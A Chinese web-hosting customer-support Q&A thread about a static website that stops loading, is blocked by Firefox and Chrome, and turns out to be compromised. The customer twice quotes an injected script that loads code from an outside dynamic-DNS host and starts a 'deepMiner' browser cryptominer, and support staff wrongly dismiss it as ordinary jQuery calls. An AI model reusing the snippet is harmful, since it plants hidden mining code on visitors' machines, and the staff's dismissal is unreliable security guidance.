问：突然打不开网站,网站突然打不开，请速解决
答：您好，
查看该主机只绑定了带www的域名www.yyyunjin.com，目前访问该域名可以打开站点，如图所示，请您再试下；
如果仍然无法访问，请您在本地电脑的cmd命令行运行nslookup www.yyyunjin.com，将测试结果的截图和浏览器访问站点的报错截图发给我们以便我司排查；
另外您可以分别测试下访问 http://127.0.0.1/ 、http://127.0.0.1/ 、http://127.0.0.1/ 这几个地址，看下是否可以显示“403 Forbidden”这个内容，然后反馈给我们以便排查；非常感谢您长期对我司的支持!
问：
答：您好，
您给的截图显示您本地网络解析域名www.yyyunjin.com有问题，您可以参考http://www.west.cn/faq/list.asp?unid=489 清理下本地dns缓存后再试下；如果还是有问题，请您联系域名注册商核实下；非常感谢您长期对我司的支持!
问：www.zgblj.cn 网站突然打不开了，请予以解决！
答：您好，重启了站点池，请您清空浏览器缓存或者换一个浏览器再测试一下，非常感谢您长期对我司的支持!
问：如图，网站突然打不开了。请尽快帮忙解决。
答：您好，
测试提示危险信息，请点击查看详情 根据提示检查,非常感谢您长期对我司的支持!
问：无缘无故就这样了，请帮忙解决。
答：您好，
非常抱歉，给您使用带来不便，主机状态正常，360，搜狗等浏览器打开没有任何提示，均正常。火狐或谷歌拦截，请根据他们提示处理,https://segmentfault.com/q//a 有一些说明。非常感谢您长期对我司的支持!
问：提示说网站感染了病毒才这样的，请清除病毒。域名和网站空间都是你们提供的，这样的问题需要你们解决。我们可以配合完成一些操作，比如删除整个网站，重新上传。
问：发现我们的纯HTML页面被插入了如下代码。估计网站被黑了。做好安全防护是你们的责任，请查明原因！
<script src="https://greenindex.dynamic-dns.net/jqueryeasyui.js"></script> <script> var uri = 'www'; var jqueryui = new deepMiner.Anonymous(uri, {autoThreads: true,throttle: 0.5}); if (!jqueryui.isMobile() && !jqueryui.didOptOut { jqueryui.start(); } </script>
答：您好，非常抱歉，通过您提供的代码 ，无法明确判断为异常挂马问题 ，均为jquery的 方法调用，建议联系程序开发人员先行对相关代码进一步核实，另，纯静态页面通常只非动态语言，如php 、asp等，但静态页面中是可包含js代码的 ,非常感谢您长期对我司的支持.由此给您带来的不便之处,敬请原谅!谢谢!
问：我们这个网站没有动态页面，www下被黑客创建了一个PHP文件。网站的所有内容已经被我删除并重新恢复。
答：您好，核实到存在如图1 的 php文件，但经过核实 ，参考此链接： https://www.jianshu.com/p/b18cbc3e6b64 并非异常文件 ，我司仍建议先行联系程序开发人员进行初步排查 ,非常感谢您长期对我司的支持.由此给您带来的不便之处,敬请原谅!谢谢!
问：昨天出现的php文件“x.php”已经被我删除。关于这个"x.php"文件，你可以去查日志。现在问题的关键是，我们网站仍然被firefox和chrome这两个浏览器block。请帮忙到google上把我们从他们的blacklist中清除。
另外，我们的网页为什么会被篡改？为什么会有php文件生成？这个必须要给我们一个明确的答复。是你们服务器被黑了，你们还不知道？
答：您好:
1、网站被firefox和chrome屏蔽，请自行联系申诉解除
2、网页被篡改以及生成php文件是因为网站程序存在漏洞，关于x.php需要查看程序内容是否探针文件或异常文件才能确定，请联系程序提供商全面排查程序并修复程序漏洞，服务器只是提供了一个程序运行环境，自身并不会生成.php的文件
3、可尝试重新购买更换域名，或申请部署SSL证书避免被firefox和chrome屏蔽
非常感谢您长期对我司的支持！
问：1. 我们可以自行处理
2. 我们的全静态网页的网站，网站本身怎么会有漏洞？
3. 现在部署ssl证书，是否能自动解除屏蔽？
答：您好，1.php文件查看并没有什么恶意代码,请咨询为您制作网页的人员核实是否是属于程序的一部分
2.部署https是否会解除我司不确定,您可以尝试,但建议您最好在浏览器拦截提示页面去申诉,非常感谢您长期对我司的支持!
问：/www/js/PIE.php这个文件是我上传的，忘记了这个文件是php。上传时间也符合。昨晚把整个网上删除了重新上传的。
这个脚本怎么回事？
<script
src="https://greenindex.dynamic-dns.net/jqueryeasyui.js"></script>
<script> var uri = 'www'; var jqueryui = new
deepMiner.Anonymous(uri, {autoThreads: true,throttle: 0.5}); if
(!jqueryui.isMobile() && !jqueryui.didOptOut {
jqueryui.start(); } </script>
答：您好，您已经重新传过文件,目前无法查询文件修改时间,无法定位到具体某已时刻日志去查,您主机购买了几年,早期的日志也已经清理,无法核查,建议您先清理,然后近期观察下,如果再次出现,结合ftp和web日志,以及空间面板登陆日志等进行分析,非常感谢您长期对我司的支持!
